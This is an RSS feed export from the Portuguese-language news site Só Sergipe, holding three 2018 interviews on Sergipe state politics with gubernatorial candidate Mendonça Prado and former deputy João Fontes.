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	<title>Arquivo para Mendonça Prado - Só Sergipe</title>
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	<description>Notícias de Sergipe levadas a sério.</description>
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	<title>Arquivo para Mendonça Prado - Só Sergipe</title>
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		<title>“Temos que fazer com que a máquina funcione”, diz Mendonça Prado</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Sun, 19 Aug 2018 08:00:42 +0000</pubDate>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[candidato]]></category>
		<category><![CDATA[eleições]]></category>
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					<description><![CDATA[<p>“Nosso compromisso com o Estado é fazer com que a máquina funcione”. A afirmação é do candidato ao governo do Estado pela coligação “Dignidade para o povo”, o advogado Mendonça Prado. Ele lembra que Sergipe “é um Estado que hoje tem um déficit anual de R$ 1,2 bilhão, só em termos de Previdência”. Para ele, [&#8230;]</p>
<p>O post <a href="https://teste.sosergipe.com.br/temos-que-fazer-com-que-a-maquina-funcione-diz-mendonca-prado/">“Temos que fazer com que a máquina funcione”, diz Mendonça Prado</a> apareceu primeiro em <a href="https://teste.sosergipe.com.br">Só Sergipe</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">“Nosso compromisso com o Estado é fazer com que a máquina funcione”. A afirmação é do candidato ao governo do Estado pela coligação “Dignidade para o povo”, o advogado <strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.sosergipe.com.br/ninguem-tem-condicoes-falar-do-joao/">Mendonça Prado</a></span>.</strong> Ele lembra que Sergipe “é um Estado que hoje tem um déficit anual de R$ 1,2 bilhão, só em termos de Previdência”. Para ele, os candidatos que prometerem grandes construções ou algo mirabolante, sem dizer de onde virá o dinheiro, cairão no descrédito sozinhos.</p>
<p style="text-align: justify;">Mendonça assegura que quer arrumar o Estado em diversos setores, dentre eles a segurança pública. “Temos que ter investimentos para que o contingente possa ter qualidade. Investimento em tecnologia, aumento dos recursos de custeio, mais combustíveis nas viaturas, aquisição de motocicletas e inteligência policial. E alguma coisa  para que possamos recompor efetivo. Não muita coisa. O essencial”, diz.</p>
<p style="text-align: justify;">Coligado ao PRTB e ao PV, Mendonça Prado aparece com apenas 3% das intenções de voto, atrás de Valadares Filho (PSB), Eduardo Amorim (PSDB), do governador Belivaldo Chagas (PSD) e de Dr. Emerson (Rede). Mas, apesar da posição nada confortável, Mendonça acredita que, como a companha está apenas começando e há uma legião muito grande de indecisos, vai convencê-los de que o seu projeto de governo é o melhor dentre os nove postulantes. E não tem como cabo eleitoral, a senadora Maria do Carmo Nascimento Alves, sua ex-sogra.</p>
<p style="text-align: justify;">Na última quarta-feira, um dia antes de começar oficialmente a campanha, Mendonça Prado, ex-deputado federal, ex-secretário de Segurança Pública, concedeu a seguinte entrevista ao <strong>Só Sergipe</strong>.</p>
<p style="text-align: justify;"><strong>SÓ SERGIPE – Como ocorreram as discussões no DEM de forma que o seu nome fosse um consenso para disputar as eleições de 2018 para governador do Estado?  Hoje se diz que sua candidatura é uma carreira solo dentro do partido, porque não tem o apoio dos demais integrantes.</strong></p>
<p style="text-align: justify;"><strong>MENDONÇA PRADO</strong> &#8211; Na verdade, o Democratas passa por um processo de reestruturação e meu nome foi apontado por unanimidade pelo diretório. Evidente que no diretório temos 70% de pessoas novas. Hoje, compõem o diretório a médica Paula Saad, o delegado da Polícia Civil, Paulo Márcio, o economista Vagner Barreto, o jornalista Augusto Aranha, que são pessoas novas. E este é o grupo que nos apoia. Evidente, que as pessoas estão fixadas em nome de pessoas que fizeram a história do partido e que também são respeitáveis. Mas o nosso nome foi indicado por unanimidade, não tivemos nenhum posicionamento contrário.  E qualquer análise diferente disso, nos próximos dias, no decorrer da campanha, as pessoas vão constatar que o nosso partido está muito unido.</p>
<p style="text-align: justify;"><strong>SS – E como foram as negociações para as coligações?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Nós nos coligamos com o Partido Verde, que indicou Reinaldo Nunes como candidato a senador, e o PRTB, do Anderson Camilo, que será candidato a deputado.</p>
<p style="text-align: justify;"><strong>SS – E essa composição vai lhe render quanto tempo de televisão?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> O tempo reduziu para todos, mas nós vamos contabilizar aí em torno de um minuto e trinta segundos. É o tempo suficiente.</p>
<p style="text-align: justify;"><strong>SS – Como está o trabalho nas redes sociais?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Nós já começamos oficialmente essas atividades de propaganda na última quinta-feira. Estamos com um trabalho intenso.</p>
<p style="text-align: justify;"><strong>SS – Qual a plataforma de trabalho do senhor?  O que o senhor pretende?</strong></p>
<p style="text-align: justify;"><strong>MP &#8211;</strong> Nós estamos num momento diferente em Sergipe. O primeiro aspecto que deve ser levado em conta é a necessidade de organizarmos as finanças públicas. Sergipe é um Estado que hoje tem um déficit anual de R$ 1,2 bilhão, só em termos de Previdência. Não consegue investir mais de 0,3% dos seus recursos próprios. E é um Estado que, a partir do próximo ano, nós vamos ter compromissos contratuais de pagamento de empréstimos que foram tomados. Além disso, nós temos recursos depositados de convênios que o Estado não consegue iniciar suas ações, por falta de recursos próprios para a contrapartida. Ou seja, não dá para nenhum candidato fazer qualquer promessa de grande investimento. E, ciente disso, inicio a minha campanha dizendo à população que desejo ser um governador da organização, dos cortes na carne, da gestão pública eficiente com a redução da máquina pública, redução dos custos de estruturas gigantescas de secretarias, auditorias em contratos. Nós precisamos, nos primeiros dois anos, organizar as finanças, caso contrário você não conseguirá dar qualidade ao serviço. O nosso compromisso com a sociedade é colocar o que existe para funcionar, sem nenhuma promessa de algo novo, de estrutura nova em qualquer dos setores.</p>
<p>&nbsp;</p>
<p><iframe title="Mendonça Prado" width="696" height="522" src="https://www.youtube.com/embed/2W1ArK48Y80?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></p>
<p style="text-align: justify;"><strong>SS – Mas muitos setores devem ser reorganizados?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Na polícia, investimentos para que o contingente que temos possa dar qualidade. Investimento em tecnologia, aumento dos recursos de custeio, mais combustíveis nas viaturas, aquisição de motocicletas e inteligência policial. E alguma coisa para que possamos recompor o efetivo. Não muita coisa. O essencial. Então, nosso compromisso com o Estado é fazer com que a máquina funcione, corresponda a expectativa do povo. Nada de invencionices. Esse é o nosso compromisso, em função das condições financeiras de momento. Quem disser outra coisa, estará mentindo para a população.</p>
<p style="text-align: justify;"><strong>SS – As últimas pesquisas que saíram o senhor não está em uma boa posição. Até o governador, que tem a máquina nas mãos, não aparece bem. E temos um contingente de eleitores que não sabe em quem vai votar.  Qual sua estratégia para reverter a situação e trazer o eleitor que não sabe em quem votará?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Nós temos, aproximadamente, <span style="color: #0000ff;"><strong><a style="color: #0000ff;" href="https://g1.globo.com/se/sergipe/eleicoes/2018/noticia/2018/08/17/governo-belivaldo-chagas-e-aprovado-por-18-e-reprovado-por-39-percentual-dos-que-avaliam-o-governo.ghtml">7</a><a style="color: #0000ff;" href="https://g1.globo.com/se/sergipe/eleicoes/2018/noticia/2018/08/17/governo-belivaldo-chagas-e-aprovado-por-18-e-reprovado-por-39-percentual-dos-que-avaliam-o-governo.ghtml">0% do eleitorado</a></strong></span> que ainda não se definiu. E temos um dado muito interessante no Estado de Sergipe. É que aqueles que estão situados nas primeiras colocações, não conseguiram passar de 16%. O primeiro colocado de Pernambuco, para você ter uma ideia, tem 30 pontos. Na Bahia também. Em Sergipe, é entre 12% e 16%. Além disso, nós temos uma eleição totalmente fragmentada, diferente da passada que tínhamos dois grupos polarizando. Hoje você tem vários grupos pontuando bem. Esse é um aspecto.</p>
<p style="text-align: justify;"><strong>[box type=&#8221;shadow&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</strong></p>
<p style="text-align: justify;"><strong>SS – Qual o outro aspecto?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> O segundo é que estes três das primeiras colocações, um é do governador do Estado; o outro, na última eleição foi candidato a governador e é senador. E outro, foi candidato a prefeito da capital, está no exercício do mandato de deputado federal e o pai também é candidato e senador. Portanto, esses três nomes são os mais lembrados. E estão sendo lembrados, não porque são candidatos que estão conquistando a sociedade, mas porque no momento, as funções que ocupam e as atividades que tiveram há pouco tempo, facilitam para que os nomes deles estejam mais em evidência. Mas, todos eles, dentro de um limite. Ninguém chegou sequer, a 20%. Ou seja, a eleição de Sergipe está aberta, está completamente indefinida e nós temos mais de 50% do eleitorado. O candidato que tiver 1% neste momento, está na disputa.  Porque esses três, por estarem a mais tempo trabalhando, chegaram ao teto. Em síntese, está indefinida e nossa estratégia é apresentar proposta que atraiam o eleitor, para solução de problemas. Vamos apresentar, no decorrer da campanha, propostas exequíveis, dentro da realidade do Estado. Quem for para essa eleição prometendo construir um hospital novo, sem dizer de onde vem o custeio, quem prometer construir grandes obras, sem dizer de onde virá o dinheiro do investimento, quem prometer aumentos substanciais, sem dizer de onde virão  os recursos, essas pessoas serão contestadas pela realidade orçamentária do Estado.  Nossa conquista será com a verdade, com a realidade, com projeto para minorar o sofrimento da população e consertar as limitações orçamentárias e financeiras do Estado.</p>
<p><strong>[/box]</strong></p>
<p style="text-align: justify;"><strong>SS – Por todas as colocações que o senhor acabou de fazer, essa eleição é atípica pelo momento político que o Brasil passa, desde os problemas em Brasília, que vem afetando a credibilidade dos políticos. Não temos uma eleição diferente?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Sem sombra de dúvidas. Nós temos hoje uma aversão dos eleitores com relação a políticos em função de uma conjunção de fatores: a péssima qualidade dos serviços públicos e a imagem negativa dos políticos. Você tem um país que não tem nenhum grande líder despontando. Na verdade, os nossos presidenciáveis são candidatos que não têm uma estatura como tinha Mário Covas, Leonel Brizola, Fernando Henrique Cardoso, o Lula, no início. Estamos com um vazio de liderança e esta eleição, apesar de toda aversão, vai fazer aflorar os novos líderes. Vai florescer daí. O preocupante, diante dessa chateação evidente da sociedade, é se as escolhas da população serão as melhores. Mas, quem a sociedade escolher vai liderar por algum tempo.</p>
<p style="text-align: justify;"><strong>SS &#8211; Recentemente, em uma entrevista, a senadora Maria do Carmo disse que não votaria no senhor. E que a sua eleição para governador está perdida, seria melhor ser candidato a deputado federal, pois assim ganharia. Como o senhor analisa essas declarações dela?</strong></p>
<p style="text-align: justify;"><strong>MP – <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://jlpolitica.com.br/entrevista/maria-do-carmo-pensei-que-ia-morrer-com-prisao-de-ana-e-doenca-de-joao">Dona Maria</a></span></strong> está um pouco afastada das atividades políticas e do partido, porque tem problemas de saúde dentro de casa muitos sérios. Na conversa que tínhamos, ela vinha tentando me passar a ideia de que minha eleição para deputado federal era garantida. E é normal, num contexto como esse, que ela ache que eu seria um deputado federal eleito e que tenha dificuldades numa candidatura majoritária. Vejo como normal. Até porque, não estou em primeiro lugar, eu vejo as dificuldades. Mas, eu tenho certeza de que estamos fazendo uma boa campanha e vamos para o patamar dos favoritos.</p>
<p style="text-align: justify;"><strong>SS – Então, os últimos serão os primeiros?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Os últimos serão os primeiros&#8230;</p>
<p>Ouça o áudio da entrevista com Mendonça Prado</p>
<p><span style="color: #0000ff;"><a style="color: #0000ff;" href="https://soundcloud.com/antonio-garcia-137507625/medonca-prado">  https://soundcloud.com/antonio-garcia-137507625/medonca-prado</a></span></p>
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		<title>&#8220;A política no Brasil hoje virou uma grande suruba&#8221;</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Sun, 01 Apr 2018 08:00:33 +0000</pubDate>
				<category><![CDATA[Nacional]]></category>
		<category><![CDATA[Política]]></category>
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					<description><![CDATA[<p>O Estado de Sergipe precisa de um líder de massa, é urgente que se faça uma renovação na política porque há um revezamento nesse campo que já chega há 50 anos. O raciocínio é do ex-deputado federal e advogado João Fontes que, ainda estuda se concorrerá a uma vaga no Senado nas eleições deste ano. [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">O Estado de Sergipe precisa de um líder de massa, é urgente que se faça uma renovação na política porque há um revezamento nesse campo que já chega há 50 anos. O raciocínio é do ex-deputado federal e advogado João Fontes que, ainda estuda se concorrerá a uma vaga no Senado nas eleições deste ano. Ele aguarda um posicionamento do Supremo Tribunal Federal (STF) a respeito das candidaturas independentes,  pois não se vê ideologicamente afinado com o Democratas, liderado no Estado pelo pré-candidato a governador, Mendonça Prado. &#8220;Ele [Mendonça] é um rapaz sério, comprometido. Fui deputado federal com ele&#8221;, destacou  João Fontes que, à época, era do PT.  Hoje, analisar a situação do Brasil &#8211; e, claro também do PT &#8211; Fontes lamenta que a &#8220;a política no Brasil tenha virado uma grande suruba&#8221;, tamanha é a desorganização.</p>
<p style="text-align: justify;">Fontes também discorda da posição do STF em ter dado um salvo conduto para  o ex-presidente Lula, já condenado em segunda instância,  que já deveria ter sido preso, mas vai esperar até  4 de abril, quando o STF julgará o habeas-corpus. Se Lula não for preso, no entendimento de Fontes, vai se abrir uma porteira para que  outros já condenados saíam da prisão.</p>
<p style="text-align: justify;">Na última  quarta-feira, João Fontes concedeu uma entrevista para o Só Sergipe. Leia os principais trechos.</p>
<p>&nbsp;</p>
<p style="text-align: justify;"><strong>SÓ SERGIPE – Como o senhor está vendo a atual conjuntura política, mais especificamente esse caso do ex-presidente Lula, que perdeu mais uma vez no TRF 4, e ainda tem um salvo conduto dado pelo STF?</strong></p>
<p style="text-align: justify;"><strong>JOÃO FONTES- </strong> Vejo como um grande equívoco o STF, e num debate com o ministro Marco Aurélio de Melo, no programa da Fan FM, com George Magalhães, eu expus claramente  meu ponto de vista, por entender que o Supremo errou. Errou porque ao admitir a apreciação do habeas corpus que tem direito preferencial  pela urgência, e ao mesmo tempo que o Supremo admite a urgência  do julgamento do habeas corpus, e contraria a uma decisão  do próprio STF, que por 6&#215;5, em 2016, deixou claro que a prisão em segunda instância pode ser começada com a condenação.  A Constituição não diz, em nenhum momento, quando é a condenação em trânsito e julgado. Dos 192 países na ONU, 190 tem condenação em trânsito e julgado sempre na primeira instância. O STF na medida em que admite uma sessão para apreciar um habeas corpus e suspende porque um ministro vai viajar, é totalmente esdrúxula e incoerente porque vai de encontro a urgência do julgamento. Na realidade, o STF dá uma decisão liminar contra uma decisão de mérito dele próprio. Para sociedade ficou claro que houve uma arrumação muito grande para personalizar o instituto do habeas corpus. Ali estava sendo julgada a figura do presidente Lula, o que é um grande equívoco porque todos são iguais perante a lei.  Depois que passou a dar o entendimento da pena a partir da segunda instância, os tribunais do país inteiro acompanharam a decisão. Na realidade, o STF criou um imbróglio  muito grande e deu um tiro no pé.</p>
<p style="text-align: justify;"><strong>SS &#8211; Já houve até um juiz que concedeu habeas corpus a um preso evocando o efeito Lula.</strong></p>
<p style="text-align: justify;"><strong>JF –</strong> Exatamente. Um juiz, a pedido do Ministério Público, usando o efeito Lula,  mandou  soltar um réu na segunda instância. Qual a segurança jurídica que um país tem, onde você passa  a julgar os casos do ponto de vista pessoal e que cria um precedente  muito ruim?  Maluf foi preso por Fachin, em função dessa decisão do STF, o Luiz Estevão foi preso da mesma forma. E os tribunais do Brasil inteiro têm mandado para cadeia os condenados em segunda instância. De repente, percebemos que há uma arrumação, porque quando abre uma precedente, abre a porteira para todos os partidos políticos. Estamos vendo uma verdadeira briga de quadrilha e que tem muitos interessados. O grande erro são as nomeações do STF pela indicação política do presidente de plantão. Eu defendi no Congresso modos de escolha diferentes: por juízes de carreira e por prazos temporários. Tofolli vai ser ministro do STF até completar 75 anos. Temos desembargadores  indicados pelo Governo do Estado que passam 40 anos dentro dos tribunais. É um grande momento para se rever essa decisão, inclusive da escolha  dos próprios conselheiros de Tribunais de Contas.</p>
<p style="text-align: justify;"><strong>SS – Os Tribunais de Contas já não deveriam ter acabado há tempos?</strong></p>
<p style="text-align: justify;"><strong>JF –</strong> Eu defendo isso há muitos anos. Defendo a tese de que se poderia aparelhar  melhor o Ministério Público. O Tribunal de Contas é uma instituição caríssima para o Estado e que funciona com peito de homem, não tem função nehuma. Porque se uma Câmara Municipal quiser derrubar uma decisão do tribunal, faz isso. A mesma coisa acontece nas Assembleias Legislativas. Então, na realidade, quem julga é um órgão auxiliar, numa conta caríssima para se dar emprego para quem quer se aposentar  bem. É uma instituição desnecessária para o Estado.</p>
<p style="text-align: justify;"><strong>SS – Para mudar essa realidade do Tribunal de Contas, do STF é preciso vontade política. Como está essa conjuntura partidária e como o senhor se insere?</strong></p>
<p style="text-align: justify;"><strong>JF</strong> –Essa confusão no Brasil vem na política e transborda para outras instituições. Nós temos hoje 35 partidos recebendo dinheiro do Fundo Partidário, 12 partidos para serem aprovados. Vergonhosamente, no ano passado, o Congresso Nacional aprovou  um fundo eleitoral de R$ 1,7 bilhão para distribuir com os partidos  que viraram capitanias hereditárias  e cada coronel tem um partido para chamar de seu. Isso tem prejudicado o meu desejo de ser candidato a senador. Estou esperando, mas acho muito difícil, a possibilidade das candidaturas avulsas, independentes. Não posso me filiar a um partido que eu não tenho  afinidade ideológica,  é complicado. Estou encontrando muitas dificuldades para ser candidato nessa estrutura que está aí. Não tenho identidade ideológica com o DEM. A política no Brasil hoje virou uma grande suruba, uma grande confusão. Acabou a militância, não tem oposição e, lamentavelmente, não tem partido político.</p>
<p style="text-align: justify;"><strong>SS – E por que o seu desejo de participar da política novamente?</strong></p>
<p style="text-align: justify;"><strong>JF –</strong> Meu desejo de participar é por ver a política de Sergipe ser tratada há 50 anos pelas mesmas pessoas.  A primeira eleição de Antônio Carlos Valadares foi em 1966 para prefeito de Simão Dias e até hoje ele continua. A mesma coisa é Jackson Barreto que a primeira eleição foi de vereador em 1972, depois deputado estadual. Você tem uma briga travada por personagens que estão política há 50 anos, apenas mudando de um cargo para outro.  A perspectiva da eleição para o Senado em 2018 ser polarizada  entre Valadares e Jackson é bizarra. É fruto do fundo do poço que chegou a política de Sergipe.</p>
<p style="text-align: justify;"><strong>SS – A Rede não seria um partido viável para o senhor?</strong></p>
<p style="text-align: justify;"><strong>JF –</strong> Eu gosto de muitas pessoas da Rede. Marina Silva tem tido um papel muito omisso. Ela aparece de quatro em quatro anos como a Copa do Mundo. Ela saiu do PT em 2009 por divergência ideológica, porque Lula escolheu Dilma. Foi para o PV, PSB e montou a Rede para chamar de seu e durante esse período todo, o Brasil incendiando, a Marina se escondeu na floresta e deixou o  lobo mau comer o Brasil. Não vejo Dr. Emerson tendo uma participação efetiva na sociedade para ver uma opção para governar Sergipe. Tem boas pessoas na Rede, mas não vejo um projeto. O delegado Alessandro Vieira estava no governo de Jackson Barreto e saiu porque ele demitiu. O quadro mais preparado intelectualmente é Mendonça Prado, um rapaz estudioso, direito, não fez patrimônio na política.</p>
<p style="text-align: justify;"><strong>SS – A Rede não seria um partido viável para o senhor?</strong></p>
<p style="text-align: justify;"><strong>JF</strong> – Eu gosto de muitas pessoas da Rede. Marina Silva tem tido um papel muito omisso. Ela aparece de quatro em quatro anos como a Copa do Mundo. Ela saiu do PT em 2009 por divergência ideológica, porque Lula escolheu Dilma. Foi para o PV, PSB e montou a Rede para chamar de seu e durante esse período todo, o Brasil incendiando, a Marina se escondeu na floresta e deixou o  lobo mau comer o Brasil. Não vejo Dr. Emerson tendo uma participação efetiva na sociedade para ver uma opção para governar Sergipe. Tem boas pessoas na Rede, mas não vejo um projeto. O delegado Alessandro Vieira estava no governo de Jackson Barreto e saiu porque ele demitiu. O quadro mais preparado intelectualmente é Mendonça Prado, um rapaz estudioso, direito, não fez patrimônio na política. A gente conhece, em Sergipe conhecemos tudo. Gilberto Amado dizia que Sergipe é um incesto,  onde todo mundo conhece todo mundo. Ele contou até história   que estava no cabaré de Dona Tereza, em Estância e acabou dormindo com uma tia, depois de uma cachaça. Quando foi conversar com a moça, descobriu que era tia dele. E disse que não vinha mais aqui.</p>
<p style="text-align: justify;"><strong>SS &#8211; Então Mendonça é o nome mais coerente?</strong></p>
<p style="text-align: justify;"><strong>JF &#8211;</strong> A política de Sergipe não traz renovação, se comparado com os  nomes que estão aí. Sergipe hoje é um Estado quebrado financeiramente, não tem nenhum projeto. Em 2008, Sergipe tinha mais de R$ 1 bilhão em caixa e esse dinheiro acabou.  E também acabou a saúde, educação, segurança. O servidores aposentados com salários atrasados, estradas destruídas. Em Alagoas a estrada está um tapete. A Bahia vem bem, com  o grande governador Rui Costa. Todos os estados do  Nordeste estão andando muito bem.  Sergipe precisa de um líder de massam, de povo..</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
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		<title>&#8220;Ninguém tem condições de falar do João&#8221;</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Sun, 25 Mar 2018 08:10:29 +0000</pubDate>
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					<description><![CDATA[<p>O presidente do diretório estadual do Democratas, o ex-deputado federal Mendonça Prado, tem um foco: ser governador de Sergipe a partir de 2019.  As conversas com os partidos já começaram há algum tempo e a tendência é que se intensifiquem com o passar dos dias até às vésperas das convenções quando tudo estará definido. Prestes [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">O presidente do diretório estadual do Democratas, o ex-deputado federal Mendonça Prado, tem um foco: ser governador de Sergipe a partir de 2019.  As conversas com os partidos já começaram há algum tempo e a tendência é que se intensifiquem com o passar dos dias até às vésperas das convenções quando tudo estará definido. Prestes a voltar à Câmara Federal, &#8220;nos pênaltis&#8221;, Mendonça disse que nem contava com essa possibilidade e até se surpreendeu com a velocidade da Justiça nesse processo. Essa celeridade e outros fatos semelhantes mostram que essa eleição será um divisor de águas na política brasileira, que levará o País a uma renovação muito grande. Aos 51 anos, divorciado, advogado e mestre em Direito Tributário, o pré-candidato Mendonça já colocou o pé na estrada para conversas com aliados e a população e diz  que traz um conceito administrativo novo. Mesmo com a agenda corrida e com a possibilidade de ficar mais apertada, ainda, Mendonça teve tempo para escrever o livro  &#8220;Presidencialismo de Coalizão&#8221;, cujo lançamento não tem data definida.</p>
<p style="text-align: justify;">Na disputa eleitoral que lhe espera, sabe que enfrentará os adversários que poderão lembrar da desastrosa administração do ex-prefeito João Alves Filho, da sua passagem conturbada na Empresa Municipal de Serviços Urbanos (Emsurb) ou até mesmo da prisão da sua ex-mulher,  Ana Maria Alves. Mas ele garante que está tranquilo e todos os  questionamentos terão as respostas adequadas. &#8220;Todos os nossos adversários, um dia estiveram,  com João. Se falar dos Amorins, são crias dos projetos de João; se falar do Belivaldo Chagas,  ele foi cria do projeto do senador Valadares, que já foi do PFL de João. Então, ninguém tem condições de falar do João&#8221;, afirma.  &#8220;Temos orgulho da história de João e não vamos esconder João por causa da última administração&#8221;, disse, ao minimizar que nessa administração como prefeito, a doença já o afetava. Na última quinta-feira, entre um cafezinho e outro, Mendonça concedeu a seguinte entrevista ao Só Sergipe.</p>
<p>&nbsp;</p>
<p style="text-align: justify;"><strong>Só Sergipe – Como o senhor analisa o momento político do país, diante de uma categoria política bastante desacreditada por conta de uma série de episódios policiais, em que muitos estão envolvidos?</strong></p>
<p style="text-align: justify;"><strong>MENDONÇA PRADO</strong> – Acho que esse será um marco divisor na política brasileira. Nós teremos, com a eleição, a reflexão do eleitor sobre os últimos acontecimentos e isso vai levar a uma grande renovação política. Boa parte dos ocupantes de cargos eletivos serão pessoas comprometidas com a nova fase. Então, estou, diferente de muitos, bastante otimista porque há uma consciência da maioria da sociedade de que é preciso mudar. Tenho convicção absoluta,  de que os eleitos nesse certame estarão imbuídos de um propósito novo, de reformar a política, de mudar os costumes políticos do Brasil. Então, eu estou otimista, apesar do momento  difícil, de muitos constrangimentos para a sociedade de ver seus representantes sendo flagrados por problemas diversos. Mas isso servirá para uma mudança profunda da política brasileira.</p>
<p style="text-align: justify;"><strong>SS – Quando o senhor fala em novo, logo vem a ideia de um neófito em política, o que não é o seu caso, porque já foi deputado federal, já foi vereador e tem experiência. Então, o que o senhor traz de novo, já que é pré-candidato ao Governo do Estado?</strong></p>
<p style="text-align: justify;"><strong>MP </strong>– Trago conceitos; conceitos administrativos. Para mudar, para renovar, não significa que você tenha que ser uma pessoa física nova. É necessário que você tenha conceitos administrativos novos. Eu costumo dizer que estamos saindo da era da válvula para o chip. Então, tanto faz uma pessoa com uma idade mais avançada, como um jovem. Ele tem que estar na fase do chip, das novas tecnologias, do novo conceito de gestão, de uma maquina pública com o intuito de ser mais eficiente para prestar serviços de qualidade. Isso significa ser o novo. Nós não podemos querer mais um governo que atue no sentido de agradar os chefes políticos. Nós temos que pensar em governo que atue para agradar ao povo, com serviço de qualidade. Não adianta querer ter o gerente do serviço essencial, aquele que dá muito voto. Isso não vai trazer resultados. O que vai trazer resultado é ter uma gerência do serviço essencial competente, eficiente para que as pessoas possam ser bem atendidas com serviço de qualidade. Então essa é uma sutil observação que traz uma mudança profunda para o cidadão dos dias atuais. O novo a que me refiro, é o novo conceito, e não a nova pessoa.</p>
<p style="text-align: justify;"><strong>SS – E partindo da premissa do novo conceito, o que se vê no Estado brasileiro, em Sergipe, é o governo lotear secretarias, ministérios. Isso não teria que acabar e o cidadão que for eleito colocar pessoas técnicas nos cargos e esquecer um pouco os acordos políticos? Ou será uma utopia pensar assim?</strong></p>
<p style="text-align: justify;"><strong>MP</strong> – Ninguém faz a governança sem a interlocução política. Então, para ter maioria no legislativo, você precisa ter a conversa com os partidos políticos que representam os diversos segmentos da sociedade. O que é fundamental é saber que é o espaço político dentro do Executivo e o que é o espaço eminentemente técnico. Por exemplo: eu não posso misturar as áreas essenciais como saúde, educação, segurança com política. Mas, se você tem um político com capacidade de diálogo, de atrair indústrias, de atuar na área do comércio, ele pode ocupar uma pasta da indústria. Mas, dificilmente, poderá compatibilizar saúde pública e educação com política. Isso é cumprimento de metas. Na educação tem que verificar a repetência, a evasão escolar, aproveitamento do aluno, o desenvolvimento das ações dos professores ao transmitir conhecimento. Isso é mais uma análise de resultado e de dados estatísticos do que de desenvoltura política, mas de capacidade de diálogo. É totalmente diferente. Então, você tem espaços distintos no próprio Executivo. É necessário você saber compatibilizar. Uma área muito vista é a Fazenda Pública. Dificilmente, você vê um político. Ela é específica para um técnico. Você tem que ter um técnico na Fazenda, na Educação, Segurança, Saúde, Infraestrutura. Nas outras áreas pode fazer concessões políticas, de modo que não atinja ou desvirtue seu conceito administrativo.</p>
<p style="text-align: justify;"><strong>S</strong><strong>S – Como andam as conversas com partidos em torno do seu nome?</strong></p>
<p style="text-align: justify;"><strong>MP-</strong> Estamos conversando com algumas agremiações partidárias. Definições só teremos no momento da convenção, lá para o mês de julho. Estamos preocupados, neste momento, com esse processo de reconstrução dos diretórios municipais para que possamos ter na campanha um partido com capilaridade no Estado inteiro.  Estamos dialogando com o PSB, PMN, PV, mas definição só acontecerá em julho, quando todos os partidos buscarão seu abrigo e verificarão com quem melhor se adequam ao seu projeto.</p>
<p style="text-align: justify;"><strong>[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</strong></p>
<figure id="attachment_10922" aria-describedby="caption-attachment-10922" style="width: 300px" class="wp-caption alignleft"><a href="https://www.sosergipe.com.br/wp-content/uploads/2018/03/WhatsApp-Image-2018-03-22-at-18.06.46-e1521920418591.jpeg"><img fetchpriority="high" decoding="async" class="size-medium wp-image-10922" src="https://www.sosergipe.com.br/wp-content/uploads/2018/03/WhatsApp-Image-2018-03-22-at-18.06.46-e1521920278168-300x227.jpeg" alt="" width="300" height="227" /></a><figcaption id="caption-attachment-10922" class="wp-caption-text">&#8220;Estou preparado&#8221;, garante. Foto: Acrísio Siqueira</figcaption></figure>
<p style="text-align: justify;"><strong>SS – Tendo seu nome definido como candidato, a gestão passada do então prefeito João Alves Filho pode atrapalhar ou ser usada pela oposição para usar isso negativamente?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Não vejo a menor possibilidade. Todos os nossos adversários um dia estiveram com João. Se falar dos Amorins, são crias dos projetos de João; se falar do Belivaldo Chagas,  ele foi cria do projeto do senador Valadares, que já foi do PFL de João. Então, ninguém tem condições de falar do João. Quanto a ele, costumo compará-lo a um líder e não a uma página final de um livro. Ele é um livro inteiro. João, apesar de ter feito uma administração ruim na sua última gestão na Prefeitura, no todo foi o maior gestor da história de Sergipe, incomparavelmente. Todas as obras estruturantes do Estado, como o porto, as pontes, as grandes rodovias foram idealizadas e construídas por João Alves. Temos orgulho da história de João e não vamos escondê-la por causa da última administração. Até porque, os equívocos que surgiram se deram em função dos problemas de saúde dele. Está constatado: ele tem Alzheimer em estado avançado. E me parece que houve muito mais oportunismos de alguns da prefeitura do que um problema do próprio João. Mas nós reconhecemos que a administração foi ruim, não frutificou, não foi boa. Mas não podemos olhar o João pelo último mandato.</p>
<p style="text-align: justify;"><strong>SS – Mas pode ter o olhar negativo dos seus opositores e criar um fato com a prisão de sua ex-mulher Ana Maria Alves, por exemplo?</strong></p>
<p style="text-align: justify;"><strong>MP –</strong> Todos os assuntos poderão vir à tona, mas estamos preparados para enfrentar todos eles e respondê-los.  Vamos fazer um debate para uma administração futura. Não vamos querer discutir o passado, porque todos, também, têm os seus problemas. Todos tiveram algum equívoco, ou alguém aliado que cometeu algum equívoco. Então, não estamos preocupados com isso. Se esses assuntos vierem, para cada indagação, uma resposta. Tudo pode ser colocado na pauta e estamos prontos para discutir todos os temas. Tenho certeza absoluta que vamos mostrar ao povo a verdade e vamos apresentar o melhor projeto para o futuro. Não estamos preocupados e temos convicção absoluta que vamos apresentar o que há de melhor para nossa população.</p>
<p><strong>[/box]</strong></p>
<p style="text-align: justify;"><strong>SS – O senhor já está preparado para ser deputado federal novamente?</strong></p>
